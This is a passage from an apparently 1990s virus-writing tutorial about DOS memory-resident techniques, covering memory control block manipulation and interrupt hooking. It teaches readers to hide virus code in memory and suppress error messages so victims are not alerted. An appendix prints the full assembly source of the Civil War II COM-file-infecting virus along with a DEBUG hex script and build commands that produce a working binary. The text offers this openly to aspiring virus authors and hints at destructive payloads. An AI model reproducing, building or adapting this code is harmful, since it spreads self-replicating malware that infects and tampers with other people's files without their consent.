  869.  
  870.  
  871. Now that you have a taste of what the MCB's are, let's
  872. discuss techniques used in MCB manipulation in order to
  873. allocate memory for your virus code.  Remember when I
  874. discussed the definitions of a resident virus?  We have
  875. already discussed how to hook interrupts for activating your
  876. virus code.  The other factor in resident programming is
  877. making your virus go resident.  We have already looked at
  878. the int 27h method of residency, now we will look at
  879. allocating memory through DOS functions and manipulating
  880. MCB's.
  881.  
  882.  
  883. Please tell me to stop making these awful pictures.
  884.  
  885. Below is a simple diagram of what we want to accomplish with
  886. the MCB method of virus infection.  Take a look at the
  887. memory diagram before infection.  The host program has been
  888. allocated all available memory.  What are virus will attempt
  889. to do is shrink the amount of memory that the host program
  890. has, then allocate enough memory for itself and move into
  891. that memory space.
  892.  
  893.   Before                                 After
  894. Infection                              Infection
  895.  
  896. ------------------                  -----------------
  897. -   MCB         -                   -      MCB      -
  898. ------------------                  -----------------
  899. -  Block of     -                   -   Block of    -
  900. -  Memory       -                   -   Memory      -
  901. -----------------                   -----------------
  902. -   MCB         -                   -      MCB      -
  903. -----------------                   -----------------
  904. -  Program      -                   -    Program    -
  905. -               -                   -               -
  906. -               -                   -               -
  907. -               -                   -               -
  908. -               -                   -----------------
  909. -               -                   -      MCB      -
  910. -               -                   -----------------
  911. -               -                   -     Virus     -
  912. ------------------                  -----------------
  913.  Top of Memory                        Top of Memory
  914.  
  915.  
  916.  
  917.      The important interrupts for use in memory allocation
  918. are int 21 functions 4ah (Set Memory Block Size) and 48h
  919. (Allocate Memory Block).  The first thing that your virus
  920. needs to do is to request the maximum amount of memory
  921. available.  This is done with the int 21h function 4ah.  The
  922. strategy is to request an inordinate amount of memory so
  923. that the function will fail, but send us back the actual
  924. amount of memory available.
  925.  
  926. The code for this is:
  927.  
  928. mov  ah,4ah
  929. mov  bx,0ffffh
  930. int  21h
  931.  
  932. If you ask for 0ffffh, you are requesting 65535 paragraphs
  933. of memory, which is an insane amount.  The result will be
  934. the actual maximum available memory returned in BX.  Just to
  935. make you aware that there are different techniques out there
  936. that virus writers use, another way of getting the same
  937. information loaded into BX is to access the MCB directly and
  938. simply read it.  When a program is loaded into memory, it is
  939. assigned all available memory.  This value appears in the
  940. MCB at offset 3.  We can therefore access the MCB directly
  941. by decrementing a segment register to the address of the MCB
  942. and accessing the information directly.
  943.  
  944. Code for this operation:
  945.  
  946. mov   ax,ds
  947. dec   ax
  948. mov   ds,ax
  949.  
  950. ;We now have the MCB off of DS.
  951.  
  952. mov bx,word ptr ds:[03]
  953.  
  954. The MCB size, or total available memory is now in BX.
  955.  
  956. Armed with this information, we can then subtract the size
  957. of our virus plus 1, to account for the MCB, from the
  958. maximum available memory and execute the function again.
  959. This changes the amount of available memory for the program.
  960.  
  961. For example:
  962.  
  963. mov  ax,4ah
  964. sub  bx,(endOfVirus-beginOfVirus+15)/16+1
  965. int  21h
  966.  
  967.  
  968. When calculating the amount of memory to allocate, keep in
  969. mind that you are working in paragraphs.  Therefore the
  970. virus size needs to be divided by 16.  The virus size is
  971. calculated by subtracting the offset for the end of the
  972. virus from the beginning and adding 15.  The addition of 15
  973. acts as a way of rounding up.  Care must be taken that
  974. enough memory is allocated so that the transfer of the virus
  975. into memory doesn't overflow the amount requested.  If you
  976. would happen to move one extra byte into memory that is not
  977. accounted for, you run the risk of overwriting the "M" in
  978. the next MCB and crashing the system.
  979.  
  980.  
  981. The code for allocating memory for the virus:
  982.  
  983. mov  ax,48h
  984. mov  bx,(endOfVirus-beginOfVirus+15)/16
  985. int  21h
  986.  
  987.  
  988. Now that memory has been allocated for the virus, the MCB
  989. needs to be changed and the virus moved into memory.  Upon
  990. successful operation of function 48h, the segment address of
  991. the allocated memory block is returned in AX.  Remember that
  992. the MCB is located directly before its memory block.  To
  993. access the MCB we need to decrement the segment address in
  994. AX and move the address into the extra segment register, or
  995. ES.
  996.  
  997. Lets look at the code:
  998.  
  999. dec  ax
  1000. mov  es,ax
  1001.  
  1002. Now that the MCB can be accessed off of ES, take a look at
  1003. the MCB structure and lets see what we need to change.
  1004. Firstly, we need to change the status of the MCB to "Z", of
  1005. the end of the chain.  Whether you want to use "Z" or its
  1006. hex equivalent (5ah) is up to you.  The next common practice
  1007. is to change the PSP segment of the owner at offset 1 to
  1008. show that the block is owned by DOS.  This is accomplished
  1009. by moving an 8 into the location.  If you see a zero in this
  1010. location, it means that the block is free.  You could
  1011. actually set the segment address to point to the virus code,
  1012. but typically, as a survival tool, the owner is set to DOS,
  1013. 8.
  1014.  
  1015. The code for this is:
  1016.  
  1017. mov byte ptr es:[0],'Z'
  1018. mov word ptr es:[8],8
  1019.  
  1020.  
  1021. The only thing that is left to do is to copy the virus into
  1022. memory.  This is very easy.  All that you need to do is to
  1023. increment AX and move the memory block address back into ES.
  1024. Load the data segment register (DS) with the code segment
  1025. register (CS).  Clear the destination index register with an
  1026. XOR.  Set the length of the virus in CX and perform a
  1027. "repeat moves bytes" instruction.  Enough narrative. what
  1028. does the code look like?
  1029.  
  1030. For example:
  1031.  
  1032. inc    ax
  1033. mov    es,ax
  1034. push   cs
  1035. pop    ds
  1036. xor    di,di
  1037. lea    si,startOfVirus
  1038. mov    cx,endOfVirus-startOfVirus
  1039. rep    movsb
  1040.  
  1041. This can be done a multitude of ways.  This is just an
  1042. example.  Keep in mind that no delta offsets are used in
  1043. this sample code.  You have to adapt it to your own style.
  1044. Another way that you might see the MCB technique utilized
  1045. is with complete direct manipulation.  There are many ways
  1046. to implement this technique of manipulating MCB's.  One of
  1047. the direct techniques that you can use involves manipulating
  1048. data in the PSP, MCB, and BIOS.  Take a look at the code
  1049. below.
  1050.  
  1051. sub  word ptr cs:[2],40h
  1052. ;-----------------------------
  1053. mov  ax,cs
  1054. dec  ax
  1055. mov  ds,ax
  1056. sub  word ptr ds:[3],40h
  1057. ;-----------------------------
  1058. mov  ax,40h
  1059. mov  ds,ax
  1060. sub  word ptr ds:[13h],1
  1061. mov  ax,word ptr ds:[13h]
  1062. shl  ax,6
  1063. mov  es,ax
  1064. push cs
  1065. pop  ds
  1066. xor  di,di
  1067. lea  si,start
  1068. mov  cx,end-start
  1069. rep  movsb
  1070.  
  1071. This is actually a very neat and compact residency module.
  1072. Try to digest it in sections.  The first section manipulates
  1073. the top of memory section of the PSP. When a program is
  1074. loaded for execution, remember that the PSP is located
  1075. directly before the program from 00 to 100h (CS).  The initial
  1076. subtracting of 40h (1KB) from the PSP, lowers the top of
  1077. memory data in the PSP.  I hope that you recognize the next
  1078. section of code.  This is the section that accesses the MCB
  1079. and subtracts 40h (1KB) from the size of the MCB.  Take a
  1080. quick glance at offset 3 on my lovely MCB chart. The last
  1081. item that needs to be changed is the BIOS.  Within the BIOS
  1082. data area at 413h and 414h, is the amount of base memory that
  1083. can be accessed.  This needs to be shrunk by 40h as well to
  1084. reserve that much space for your code and to ensure that it is
  1085. not overwritten. In the above code, location 413h is accessed
  1086. by using segment 40[0]h and offset 13h.  You will see either
  1087. addressed utilized, it is simply a matter of preference.  The
  1088. value that is subtracted from the 413h location of the BIOS
  1089. data area is the amount of K bytes that you need, in this case,
  1090. 1 KB. Now that the BIOS has been adjusted, we then need to find
  1091. the address of the free segment to use.  This is done by multiplying
  1092. the adjusted BIOS base memory amount by 64.  The SHL, or (S)hift
  1093. (L)ogical (L)eft, instruction may be used for this operation.
  1094. On processors above the 8088/8086, the SHL instruction can be used
  1095. with a constant up to 31. In the above code, the constant is 6.
  1096. If you are working with an 8088/8086, you will need to load CL
  1097. with the constant and issue an SHL ax,cl.  After the multiplication
  1098. is completed, the value is moved into ES, for addressing in the
  1099. string movement, which should be familiar to you.
  1100.  
  1101.      As with the Fact virus, I am also including a virus
  1102. which demonstrates the MCB manipulation technique.  The
  1103. virus that I am including is Dark Helmet's Civil War II
  1104. V1.1.  Take a look at the code, which can be found in the
  1105. appendix.  There is no destructive routines in his virus.
  1106. Don't believe some of that shit that you seen in AV program
  1107. descriptions of his virus.  If you don't trust me, just look
  1108. at the code, it's harmless.  Probably the only thing that
  1109. you won't recognize in his code is the int 24h handler.  I
  1110. haven't gone over this, but int 24h is the critical error
  1111. handler.  When you hook this interrupt, you are intercepting
  1112. critical error messages before they can appear on the
  1113. screen.  This is a technique that we use to avoid alerting
  1114. the lamer that an error has occurred in the infection
  1115. process.  Both the Fact virus and the Civil War II virii can
  1116. be compiled with TASM.  If you are not reading this tutorial
  1117. from the 3rd edition of the Codebreakers Zine, cut the code
  1118. from this tutorial and save it in a file named CivilWar(or
  1119. Fact).asm. Otherwise this ASM file can be found in the
  1120. Cdbkutl folder.
  1121.  
  1122. Issue the commands:
  1123. A:\tasm civilwar(or Fact).asm
  1124. and
  1125. A:\tlink /t civilwar(or Fact).obj
  1126.  
  1127. *TASM Hint - If you have errors in your code and would like 
  1128. to save them for future reference, issue the command line
  1129. argument:
  1130.     A:\tasm NameofVirus.asm>NameofVirus.txt
  1131. The errors that occur during compiling will be saved in a
  1132. TXT file. I find this helpful when I am debugging my code.
  1133.  
  1134.  
  1135. As you can see, I prefer to execute the virus on the A:
  1136. drive (floppy).  You should also exit Windows and perform
  1137. all this in DOS.  Follow the same instructions as with the
  1138. Fact virus.  Include in the same directory a "Fly" test COM
  1139. file.  Check the size of the Fly program before and after
  1140. execution of the program and before and after the virus is
  1141. resident.
  1142.  
  1143. It is always advisable to check the code of the virus before
  1144. compiling, just to make sure that there is no destructive
  1145. routines in the code.  Although, there are many ways for a
  1146. virus to destroy your files and hard drive, the most common
  1147. method is to us int 13h to write shit all over the drive.
  1148. If you see int 13h functions 03h, 05h, 09h, . get out!
  1149.  
  1150. Ethics
  1151. Hmmm.  Now that you are entering the world of advanced virus
  1152. techniques, you might be faced with that decision of whether
  1153. or not to write destructive routines in your code.  I am not
  1154. going to talk about this too much because I might get into
  1155. trouble.  Officially, I will say that the Codebreakers do
  1156. not condone destructive code.  We are more interested in
  1157. system manipulation and programming techniques.  However,
  1158. many AV personages view all virus code as destructive by
  1159. nature of what it is.  So you might think that your virus is
  1160. non-destructive, but, in their eyes, it's still malicious
  1161. code.  Also, if you have something to prove and are pissed
  1162. off at the world, who is going to be scared of a gun that
  1163. doesn't shoot or a crook who doesn't steal?  Enough said.
  1164.  
  1165.  
  1166. ----------------------
  1167. Conclusion
  1168. ----------------------
  1169.  
  1170.      The purpose of this primer is to aid the advanced
  1171. beginner in understanding the basics of virus residency
  1172. techniques.  My secondary aim is to add to the general
  1173. programming knowledge of the assembly aspirant.  In future
  1174. tutorials, I will be covering more advanced residency
  1175. techniques such as manipulation of memory above 1 MB, and
  1176. with that, programming in protected mode.  What do they have
  1177. out now, the 686?  And we are still teaching 8086?  Don't
  1178. worry.  The 8086 instruction set offers still many features
  1179. that we haven't covered and will still be used into the
  1180. future for virus programming.  One piece of advice that I
  1181. want to give the programmer is that you need to know the
  1182. basics before you can go on to the advanced topics.  As you
  1183. can see in this tutorial, the actual virus infection
  1184. techniques were not covered.  You should already know them
  1185. from the first two tutorials.  I don't want to have to
  1186. repeat the basics too many times.
  1187.  
  1188.      Also, keep in mind that this tutorial is divided into
  1189. separate modules.  In order to write a memory resident
  1190. virus, it is imperative that you divide your code into
  1191. separate modules corresponding with the individual tasks
  1192. that you want the virus to perform.  For example, if you
  1193. look at the Fact virus, and you want to add self-recognition
  1194. capabilities to the virus, you will need to include a self-
  1195. recognition module.  The hooking of the interrupts and the
  1196. resident enabling processes are all modules within the
  1197. virus.  Take a look at the virus creation engines.  If you
  1198. want to add an extra capability to a virus, the creation lab
  1199. tacks on another module for that routine.  Most of your
  1200. virii, will use the same techniques.  If you find a routine
  1201. that works for you, keep it.
  1202.  
  1203.      As I have said previously in the tutorial, I only
  1204. wanted to introduce you to the basics of writing resident
  1205. code.  In the next tutorial, I will be introducing EXE file
  1206. type infecting, along with more residency techniques that
  1207. were not covered in this tutorial.  My advice to you in
  1208. writing your first resident virus is to start out on paper
  1209. and visualize all of the steps that your virus must take in
  1210. order to function in the pre and post residency stages.
  1211. Study other virii.  Take a look at the techniques other
  1212. virus writers have used in their code.  Figure out what
  1213. works best and use it.
  1214.  
  1215. Good luck!
  1216.  
  1217. Horny Toad
  1218.  
  1219.  
  1220.  
  1221. Appendix 1 - Civil War II Virus V1.1 by Dark Helmet
  1222. ------------------------------------------------------------
  1223.  
  1224.                .Radix 16
  1225. Civil_War      Segment
  1226.                Model  small
  1227.                Assume cs:Civil_War, ds:Civil_War, es:Civil_War
  1228.  
  1229.                org 100h
  1230.  
  1231. len            equ offset last - begin
  1232. virus_len      equ len / 16d
  1233.  
  1234. dummy:         db 0e9h, 03h, 00h, 44h, 48h, 00h   ; Jump + infection
  1235.                                                   ; marker
  1236.  
  1237. begin:              Call virus               ; make call to
  1238.                                              ; push IP on stack
  1239.  
  1240. virus:         pop       bp             ; get IP from stack.
  1241.                sub       bp,109h        ;adjust IP.
  1242.  
  1243. restore_host:
  1244.                mov       di,0100h                    ; recover beginning
  1245.                lea       si,ds:[carrier_begin+bp]    ; of carrier program.
  1246.                mov       cx,06h
  1247.                rep       movsb
  1248.  
  1249. check_resident:
  1250.                 mov  ah,0a0h                  ; check if virus
  1251.                 int  21h                            ; already installed.
  1252.                 cmp  ax,0001h
  1253.                 je   end_virus
  1254.  
  1255. adjust_memory:
  1256.                 mov       ax,cs              ;start of Memory
  1257.                 dec       ax                 ;Control Block
  1258.                 mov       ds,ax
  1259.                 cmp       byte ptr ds:[0000],5a   ;check if last
  1260.                                                   ;block
  1261.                jne       abort                    ;if not last block
  1262.                                                   ;end
  1263.                mov       ax,ds:[0003]             ;decrease memory
  1264.                sub       ax,40                    ;by 1kbyte lenght
  1265.                mov       ds:[0003],ax
  1266.                sub  word ptr ds:[0012],40h
  1267.  
  1268. install_virus:
  1269.                mov       bx,ax                    ; es point to start
  1270.                mov       ax,es                    ;virus in memory
  1271.                add       ax,bx
  1272.                mov       es,ax
  1273.                mov       cx,len                   ;cx =length virus
  1274.                mov       ax,ds                    ;restore ds
  1275.                inc       ax
  1276.                mov       ds,ax
  1277.                lea       si,ds:[begin+bp]         ;point to start virus
  1278.                lea       di,es:0100               ;point to destination
  1279.                rep       movsb                    ;copy virus in
  1280.                                                   ;memory
  1281.                mov       [virus_segment+bp],es    ;store start virus
  1282.                                                   ;in memory
  1283.                mov       ax,cs                    ;restore es
  1284.                mov       es,ax
  1285.  
  1286. hook_vector:
  1287.                cli                                ; no interups
  1288.                mov       ax,3521h                 ; revector int 21
  1289.                int       21h
  1290.                mov       ds,[virus_segment+bp]
  1291.                mov       old_21h-6h,bx
  1292.                mov       old_21h+2-6h,es
  1293.  
  1294.                mov       dx,offset main_virus - 6h
  1295.                mov       ax,2521h
  1296.                int       21h
  1297.                sti
  1298.  
  1299. abort:
  1300.                mov       ax,cs
  1301.                mov       ds,ax
  1302.                mov       es,ax
  1303.  
  1304. end_virus:
  1305.                mov  bx,0100h                      ; jump to begin
  1306.                jmp  bx                            ; host file
  1307.  
  1308.  
  1309. ;***********************************************************
  1310.  
  1311.  
  1312. main_virus:
  1313.           pushf
  1314.           cmp  ah,0a0h                  ;check virus call
  1315.           jne  new_21h                  ;no virus call
  1316.           mov  ax,0001h                 ;ax = id
  1317.           popf                          ;return id
  1318.           iret
  1319.  
  1320. new_21h:  push ds                       ; save registers
  1321.           push es
  1322.           push di
  1323.           push si
  1324.           push ax
  1325.           push bx
  1326.           push cx
  1327.           push dx
  1328.  
  1329. check_open:
  1330.           cmp  ah,3dh
  1331.           je   chk_com
  1332.  
  1333. check_exec:
  1334.           cmp  ax,04b00h                ; exec function?
  1335.           je   chk_com
  1336.  
  1337. continu:  pop  dx                       ; restore registers
  1338.           pop  cx
  1339.           pop  bx
  1340.           pop  ax
  1341.           pop  si
  1342.           pop  di
  1343.           pop  es
  1344.           pop  ds
  1345.           popf
  1346.           jmp  dword ptr cs:[old_21h-6]
  1347.  
  1348. chk_com:  mov  cs:[name_seg-6],ds
  1349.           mov  cs:[name_off-6],dx
  1350.           cld                                ;check extension
  1351.           mov  di,dx                         ;for COM
  1352.           push ds
  1353.           pop  es
  1354.           mov  al,'.'                        ;search extension
  1355.           repne     scasb                    ;check for
  1356. 'COM"
  1357.           cmp  word ptr es:[di],'OC'         ;check 'CO'
  1358.           jne  continu
  1359.           cmp  word ptr es:[di+2],'M'        ;check 'M'
  1360.           jne  continu
  1361.  
  1362.           call set_int24h
  1363.           call set_atribuut
  1364.  
  1365. open_file:
  1366.           mov  ds,cs:[name_seg-6]
  1367.           mov  dx,cs:[name_off-6]
  1368.           mov  ax,3D02h                      ; open file
  1369.           call do_int21h
  1370.           jc   close_file
  1371.           push cs
  1372.           pop  ds
  1373.           mov  [handle-6],ax
  1374.           mov  bx,ax
  1375.  
  1376.           call get_date
  1377.  
  1378. check_infect:
  1379.           push cs
  1380.           pop  ds
  1381.           mov  bx,[handle-6]                 ; read first 6 bytes
  1382.           mov  ah,3fh
  1383.           mov  cx,06h
  1384.           lea  dx,[carrier_begin-6]
  1385.           call do_int21h
  1386.           mov  al, byte ptr [carrier_begin-6]+3 ; check initials
  1387.           mov  ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
  1388.           cmp  ax,[initials-6]
  1389.           je   save_date            ; if equal already
  1390.                                     ; infect
  1391.  
  1392. get_lenght:
  1393.           mov  ax,4200h            ; file pointer begin
  1394.           call move_pointer
  1395.           mov  ax,4202h            ; file pointer end
  1396.           call move_pointer
  1397.           sub  ax,03h                   ; ax = filelenght
  1398.           mov  [lenght_file-6],ax
  1399.  
  1400.           call write_jmp
  1401.           call write_virus
  1402.  
  1403. save_date:
  1404.           push cs
  1405.           pop  ds
  1406.           mov  bx,[handle-6]
  1407.           mov  dx,[date-6]
  1408.           mov  cx,[time-6]
  1409.           mov  ax,5701h
  1410.           call do_int21h
  1411.  
  1412. close_file:
  1413.           mov  bx,[handle-6]
  1414.           mov  ah,03eh                  ; close file
  1415.           call do_int21h
  1416.  
  1417.           mov  dx,cs:[old_24h-6]        ; restore int24h
  1418.           mov  ds,cs:[old_24h+2-6]
  1419.           mov  ax,2524h
  1420.           call do_int21h
  1421.  
  1422.           jmp  continu
  1423.  
  1424.  
  1425.  
  1426.  
  1427. new_24h:  mov  al,3
  1428.           iret
  1429.  
  1430. ;-----------------------------------------------------------
  1431. ;              PROCEDURES
  1432. ;-----------------------------------------------------------
  1433.  
  1434. move_pointer:
  1435.           push cs
  1436.           pop  ds
  1437.           mov  bx,[handle-6]
  1438.           xor  cx,cx
  1439.           xor  dx,dx
  1440.           call do_int21h
  1441.           ret
  1442.  
  1443. do_int21h:
  1444.           pushf
  1445.           call      dword ptr cs:[old_21h-6]
  1446.           ret
  1447.  
  1448. write_jmp:
  1449.           push cs
  1450.           pop  ds
  1451.           mov  ax,4200h
  1452.           call move_pointer
  1453.           mov  ah,40h
  1454.           mov  cx,01h
  1455.           lea  dx,[jump-6]
  1456.           call do_int21h
  1457.           mov  ah,40h
  1458.           mov  cx,02h
  1459.           lea  dx,[lenght_file-6]
  1460.           call do_int21h
  1461.           mov  ah,40h
  1462.           mov  cx,02h
  1463.           lea  dx,[initials-6]
  1464.           call do_int21h
  1465.           ret
  1466.  
  1467. write_virus:
  1468.           push cs
  1469.           pop  ds
  1470.           mov  ax,4202h
  1471.           call move_pointer
  1472.           mov  ah,40
  1473.           mov  cx,len
  1474.           mov  dx,100
  1475.           call do_int21h
  1476.           ret
  1477.  
  1478. get_date: mov  ax,5700h
  1479.           call do_int21h
  1480.           push cs
  1481.           pop  ds
  1482.           mov  [date-6],dx
  1483.           mov  [time-6],cx
  1484.           ret
  1485.  
  1486. set_int24h:
  1487.           mov  ax,3524h
  1488.           call do_int21h
  1489.           mov  cs:[old_24h-6],bx
  1490.           mov  cs:[old_24h+2-6],es
  1491.           mov  dx,offset new_24h-6
  1492.           push cs
  1493.           pop  ds
  1494.           mov  ax,2524h
  1495.           call do_int21h
  1496.           ret
  1497.  
  1498. set_atribuut:
  1499.           mov  ax,4300h            ; get atribuut
  1500.           mov  ds,cs:[name_seg-6]
  1501.           mov  dx,cs:[name_off-6]
  1502.           call do_int21h
  1503.           and  cl,0feh                  ; set atribuut
  1504.           mov  ax,4301h
  1505.           call do_int21h
  1506.           ret
  1507.  
  1508. ;-----------------------------------------------------------
  1509. ;                   DATA
  1510. ;-----------------------------------------------------------
  1511.  
  1512. old_21h             dw  00h,00h
  1513. old_24h             dw  00h,00h
  1514. carrier_begin       db  090h, 0cdh, 020h, 044h, 048h, 00h
  1515. text db  'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet',00h
  1516. jump                db  0e9h
  1517. name_seg            dw  ?
  1518. name_off            dw  ?
  1519. virus_segment       dw  ?
  1520. lenght_file         dw  ?
  1521. handle              dw  ?
  1522. date                dw  ?
  1523. time                dw  ?
  1524. initials            dw  4844h
  1525. last                db  090h
  1526.  
  1527. Civil_war      ends
  1528.                end dummy
  1529.  
  1530.  
  1531. Debug Script for Civil War II virus
  1532.  
  1533. N CIVIL.COM
  1534. E 0100 E9 03 00 44 48 00 E8 00 00 5D 81 ED 09 01 BF 00
  1535. E 0110 01 8D B6 FF 02 B9 06 00 F3 A4 B4 A0 CD 21 3D 01
  1536. E 0120 00 74 5E 8C C8 48 8E D8 80 3E 00 00 5A 75 4C A1
  1537. E 0130 03 00 2D 40 00 A3 03 00 83 2E 12 00 40 8B D8 8C
  1538. E 0140 C0 03 C3 8E C0 B9 57 02 8C D8 40 8E D8 8D B6 06
  1539. E 0150 01 BF 00 01 F3 A4 3E 8C 86 51 03 8C C8 8E C0 FA
  1540. E 0160 B8 21 35 CD 21 3E 8E 9E 51 03 89 1E F1 02 8C 06
  1541. E 0170 F3 02 BA 80 01 B8 21 25 CD 21 FB 8C C8 8E D8 8E
  1542. E 0180 C0 BB 00 01 FF E3 9C 80 FC A0 75 05 B8 01 00 9D
  1543. E 0190 CF 1E 06 57 56 50 53 51 52 80 FC 3D 74 13 3D 00
  1544. E 01A0 4B 74 0E 5A 59 5B 58 5E 5F 07 1F 9D 2E FF 2E F1
  1545. E 01B0 02 2E 8C 1E 47 03 2E 89 16 49 03 FC 8B FA 1E 07
  1546. E 01C0 B0 2E F2 AE 26 81 3D 43 4F 75 D8 26 83 7D 02 4D
  1547. E 01D0 75 D1 E8 EC 00 E8 05 01 2E 8E 1E 47 03 2E 8B 16
  1548. E 01E0 49 03 B8 02 3D E8 83 00 72 54 0E 1F A3 4F 03 8B
  1549. E 01F0 D8 E8 BC 00 0E 1F 8B 1E 4F 03 B4 3F B9 06 00 BA
  1550. E 0200 F9 02 E8 66 00 A0 FC 02 8A 26 FD 02 3B 06 55 03
  1551. E 0210 74 18 B8 00 42 E8 45 00 B8 02 42 E8 3F 00 2D 03
  1552. E 0220 00 A3 4D 03 E8 4B 00 E8 72 00 0E 1F 8B 1E 4F 03
  1553. E 0230 8B 16 51 03 8B 0E 53 03 B8 01 57 E8 2D 00 8B 1E
  1554. E 0240 4F 03 B4 3E E8 24 00 2E 8B 16 F5 02 2E 8E 1E F7
  1555. E 0250 02 B8 24 25 E8 14 00 E9 49 FF B0 03 CF 0E 1F 8B
  1556. E 0260 1E 4F 03 33 C9 33 D2 E8 01 00 C3 9C 2E FF 1E F1
  1557. E 0270 02 C3 0E 1F B8 00 42 E8 E3 FF B4 40 B9 01 00 BA
  1558. E 0280 46 03 E8 E6 FF B4 40 B9 02 00 BA 4D 03 E8 DB FF
  1559. E 0290 B4 40 B9 02 00 BA 55 03 E8 D0 FF C3 0E 1F B8 02
  1560. E 02A0 42 E8 B9 FF B4 40 B9 57 02 BA 00 01 E8 BC FF C3
  1561. E 02B0 B8 00 57 E8 B5 FF 0E 1F 89 16 51 03 89 0E 53 03
  1562. E 02C0 C3 B8 24 35 E8 A4 FF 2E 89 1E F5 02 2E 8C 06 F7
  1563. E 02D0 02 BA 54 02 0E 1F B8 24 25 E8 8F FF C3 B8 00 43
  1564. E 02E0 2E 8E 1E 47 03 2E 8B 16 49 03 E8 7E FF 80 E1 FE
  1565. E 02F0 B8 01 43 E8 75 FF C3 00 00 00 00 00 00 00 00 90
  1566. E 0300 CD 20 44 48 00 43 69 76 69 6C 20 57 61 72 20 49
  1567. E 0310 49 20 76 31 2E 31 2C 20 28 63 29 20 30 36 2F 30
  1568. E 0320 33 2F 31 39 39 32 20 54 72 69 64 65 6E 74 2F 44
  1569. E 0330 61 72 6B 20 48 65 6C 6D 65 74 2C 20 54 68 65 20
  1570. E 0340 4E 65 74 68 65 72 6C 61 6E 64 73 00 E9 00 00 00
  1571. E 0350 00 00 00 00 00 00 00 00 00 00 00 44 48 90
  1572. RCX
  1573. 025E
  1574. W
  1575. Q
  1576.  
  1577.  
  1578.  
  1579. Appendix 2 - The PSP (from Ralf Brown's Interrupt List)
  1580.  
  1581. Format of Program Segment Prefix (PSP):
  1582. Offset    Size        Description    (Table 1032)
  1583.  00h      2 BYTEs  INT 20 instruction for CP/M CALL 0 program
  1584.                    termination the CDh 20h here is often used
  1585.                    as a signature for a valid PSP
  1586.  02h      WORD     segment of first byte beyond memory allocated to
  1587.                    program
  1588.  04h      BYTE     (DOS) unused filler (OS/2) count of fake DOS
  1589.                    version returns
  1590.  05h      BYTE     CP/M CALL 5 service request (FAR CALL to absolute
  1591.                    000C0h) BUG: (DOS 2+ DEBUG) PSPs created by DEBUG
  1592.                    point at 000BEh
  1593.  06h      WORD     CP/M compatibility--size of first segment for .COM
  1594.                    files
  1595.  08h      2 BYTEs  remainder of FAR JMP at 05h
  1596.  0Ah      DWORD    stored INT 22 termination address
  1597.  0Eh      DWORD    stored INT 23 control-Break handler address
  1598.  12h      DWORD    DOS 1.1+ stored INT 24 critical error handler
  1599.                    address
  1600.  16h      WORD     segment of parent PSP
  1601.  18h      20 BYTEs DOS 2+ Job File Table, one byte per file
  1602.                    handle, FFh = closed
  1603.  2Ch      WORD     DOS 2+ segment of environment for process (see
  1604.                    #1033)
  1605.  2Eh      DWORD    DOS 2+ process's SS:SP on entry to last INT
  1606.                    21 call
  1607.  32h      WORD     DOS 3+ number of entries in JFT (default 20)
  1608.  34h      DWORD    DOS 3+ pointer to JFT (default PSP:0018h)
  1609.  38h      DWORD    DOS 3+ pointer to previous PSP (default
  1610.                    FFFFFFFFh in 3.x) used by SHARE in DOS 3.3
  1611.  3Ch      BYTE     DOS 4+ (DBCS) interim console flag (see AX=6301h)
  1612.                    Novell DOS 7 DBCS interim flag as set with
  1613.                    AX=6301h (possibly also used by Far East MS-DOS
  1614.                    3.2-3.3)
  1615.  3Dh      BYTE     (APPEND) TrueName flag (see INT 2F/AX=B711h)
  1616.  3Eh      BYTE     (Novell NetWare) flag: next byte initialized if
  1617.                    CEh (OS/2) capabilities flag
  1618.  3Fh      BYTE     (Novell NetWare) Novell task number if previous
  1619.                    byte is CEh
  1620.  40h      2 BYTEs  DOS 5+ version to return on INT 21/AH=30h
  1621.  42h      WORD     (MSWindows3) selector of next PSP (PDB) in linked
  1622.                    list Windows keeps a linked list of Windows programs
  1623.                    only
  1624.  44h      WORD     (MSWindows3) "PDB_Partition"
  1625.  46h      WORD     (MSWindows3) "PDB_NextPDB"
  1626.  48h      BYTE     (MSWindows3) bit 0 set if non-Windows application
  1627.                    (WINOLDAP)
  1628.  49h      BYTE     unused by DOS versions <= 6.00
  1629.  4Ch      WORD     (MSWindows3) "PDB_EntryStack"
  1630.  4Eh      2 BYTEs  unused by DOS versions <= 6.00
  1631.  50h      3 BYTEs  DOS 2+ service request (INT 21/RETF instructions)
  1632.  53h      2 BYTEs  unused in DOS versions <= 6.00
  1633.  55h      7 BYTEs  unused in DOS versions <= 6.00; can be used
  1634.                    to make first FCB into an extended FCB
  1635.  5Ch      16 BYTEs first default FCB, filled in from first
  1636.                    commandline argument overwrites second FCB if opened
  1637.  6Ch      16 BYTEs second default FCB, filled in from second
  1638.                    commandline argument overwrites beginning
  1639. of
  1640.                    commandline if opened
  1641.  7Ch      4 BYTEs  unused
  1642.  80h      128 BYTEs commandline / default DTA
  1643.                     command tail is BYTE for length of tail, N BYTEs
  1644.                     for the tail, followed by a BYTE containing 0Dh
  1645.  
  1646.  
  1647.  
  1648.  
  1649.